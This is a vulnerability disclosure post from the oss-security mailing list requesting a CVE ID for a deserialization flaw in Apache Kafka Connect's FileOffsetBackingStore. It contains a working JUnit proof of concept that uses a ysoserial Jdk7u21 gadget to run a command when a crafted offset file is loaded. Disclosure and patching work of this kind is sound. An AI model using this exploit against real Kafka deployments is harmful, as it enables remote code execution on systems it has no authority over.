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Date: Wed, 19 Jul 2017 09:41:16 +1000
From: Hooman Ghasem Broujerdi <hghasemb@...hat.com>
To: oss-security@...ts.openwall.com
Subject: CVE-IDs request for Apache Kafka desrialization vulnerability via runtime

Hi,

Apache kafka connect-api runtime contains a desrialization vul via
FileOffsetBackingStore
which leads to remote code execution, this can be exploited reliably in
JDK1.7.0_05, below is
a unit test for it:


import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public void test_Kafka_Deser() throws Exception {

        StandaloneConfig config;

        String projectDir = System.getProperty("user.dir");

        Jdk7u21 jdk7u21 = new Jdk7u21();
        Object o = jdk7u21.getObject("touch vul");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG,
tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

Thanks,
Hooman Broujerdi / Red Hat Product Security

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